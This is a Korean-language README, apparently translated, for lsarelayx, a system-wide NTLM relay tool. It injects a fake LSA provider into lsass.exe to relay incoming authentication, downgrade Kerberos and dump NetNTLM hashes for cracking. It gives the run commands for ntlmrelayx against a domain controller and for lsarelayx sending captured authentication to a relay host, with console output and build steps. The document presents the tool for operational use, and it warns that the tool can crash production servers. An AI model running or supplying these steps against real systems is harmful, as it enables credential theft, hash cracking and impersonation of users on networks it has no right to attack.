
시스템 차원의 NTLM 릴레이 도구로, Windows 인증 API를 후킹하여 들어오는 NTLM 연결을 릴레이하고, Kerberos를 다운그레이드하며, 오프라인 크래킹을 위해 NetNTLM 해시를 덤프합니다.
lsarelayx는 시스템 전체 NTLM 릴레이 도구로, 수신되는 NTLM 기반 인증을 실행 중인 호스트로 릴레이하도록 설계되었습니다. lsarelayx는 SMB를 포함한 모든 수신 인증 요청을 릴레이합니다. lsarelayx는 기존 애플리케이션 인증 흐름에 후킹되므로, 릴레이가 완료된 후에도 원래 인증 요청을 처리하려고 시도합니다. 이렇게 하면 대상 애플리케이션/프로토콜이 오류를 표시하지 않고 lsarelayx 호스트에 대해 인증하는 최종 사용자에게 정상적으로 작동합니다.
lsarelayx는 세 부분으로 구성됩니다. liblsarelay.dll 내에 구현된 가짜 LSA 인증 공급자, 제어 인터페이스 역할을 하는 사용자 모드 콘솔 애플리케이션, RAW라는 새로운 ntlmrelayx 서버 모듈입니다.
liblsarelayx.dll은 lsarelayx에 의해 로드되는 LSA 인증 공급자입니다. 주요 목적은 NTLM 및 Negotiate 패키지를 후킹하여 인증 요청을 로컬 명명된 파이프를 통해 lsarelayx로 리디렉션하여 NetNTLM 해시를 릴레이 및 덤프하는 것입니다. liblsarelayx는 가능한 한 단순하게 설계되었으며, 모든 무거운 작업은 lsarelayx가 수행합니다.
lsarelayx.exe는 사용자 지정 LSA 인증 공급자(liblsarelayx.dll)를 로드하고, 인증 공급자로부터 수신되는 NTLM 및 Negotiate 토큰을 수신 대기하며, ntlmrelayx의 RAW 서버 모듈로 릴레이하는 주요 콘솔 애플리케이션입니다. 이 도구는 또한 릴레이된 사용자의 그룹 정보를 캡처하여 LSA 인증 공급자로 다시 전달하는 데 사용되는 LDAP 쿼리를 수행합니다.
impacket의 ntlmrelayx는 릴레이 공격을 생성하는 데 상당한 작업을 구현했으며, 향후 공격을 계속 개선하고 추가할 것입니다. lsarelayx 내에서 직접 공격을 재구현하는 대신 이를 활용하기 위해 RAW라는 새로운 ntlmrelayx 서버 모듈이 생성되었습니다. 현재 GitHub에 PR이 열려 있으며 RAW 서버 모듈을 구현합니다. RAW 서버 모듈은 프로토콜에 구애받지 않으며 lsarelayx와 같은 타사 소프트웨어에서 직접 원시 NTLM 메시지를 수락하도록 설계되었습니다.
PR이 메인라인 impacket 저장소에 병합될 때까지 이 버전을 사용할 수 있습니다.
먼저 ntmlrelayx RAW 서버 모듈을 시작하여 lsarelayx에서 전달된 RAW NTLM 메시지를 수신 대기합니다.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx 자체를 실행하려면 로컬 관리자 권한이 필요합니다. 활성 릴레이 모드로 실행하려면 ntlmrelayx가 원시 서버 모듈을 실행 중인 호스트 주소를 지정해야 합니다. 기본 포트는 6666입니다. --port 인수로 재정의할 수 있지만, ntlmrelayx 쪽에서도 --raw-port 인수를 사용하여 포트를 재정의해야 합니다.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
인수 없이 실행하여 수동 모드로 lsarelayx를 실행할 수도 있습니다.
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
liblsarelayx DLL이 lsass에 로드되면 현재 LSA 플러그인의 작동 방식 제한으로 인해 언로드할 수 없습니다. 클라이언트를 닫으면 DLL이 휴면 상태가 될 수 있지만, 재부팅이 발생할 때까지 DLL은 계속 사용 중입니다.
LSA 플러그인이 실제 플러그인이 아니기 때문에, 플러그인 내에 리플렉티브 로더를 구현하여 원할 때 중지 및 시작할 수 있도록 계획이 있지만, 이는 다른 날의 과제입니다.
개발은 Windows 10 및 Server 2016에서 수행되었습니다. Windows Server 2012 R2에서 빠른 테스트를 수행했으며 작동했지만, 후킹을 위한 오프셋 계산이 2012에서 실패할 수 있습니다. (이는 lookuppackage-hint=를 사용하여 수동으로 제공할 수 있으며, 잘못 설정하면 Windows가 재부팅됩니다.) 데스크톱 측에서 Windows 10 미만에서는 테스트되지 않았으며, Server 2019에서는 전혀 테스트되지 않았습니다.
liblsarelayx.dll은 중요한 lsass.exe 프로세스 내에 로드됩니다. liblsarelayx.dll에 lsass.exe를 충돌시키는 버그가 있으면 호스트는 60초 후에 재부팅됩니다. 버그 없는 코드를 작성하기 위해 최선을 다했지만, 확실히 보장할 수는 없습니다. lsarelayx를 사용하여 바쁜 파일 서버를 충돌시켜 포춘 500 고객을 다운시키더라도 저에게 불평하지 마십시오.
Docker가 설치되어 있다면 이것이 가장 빠른 옵션입니다. 모든 빌드 종속성이 미리 설치된 ccob/windows_cross 이미지를 사용합니다.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Linux에서는 CMake 툴체인과 MinGW 컴파일러를 사용합니다. 사전에 설치해야 합니다. 관리되는 구성 요소의 경우 .NET 코어에서 dotnet 명령줄 도구도 설치되어 있는지 확인하십시오.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows에서는 빌드를 시도하기 전에 전체 CMake, MinGW 및 Visual Studio 설정이 필요합니다. 개발 환경이 설치되어 있지 않다면 가장 번거로운 빌드 방법입니다.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip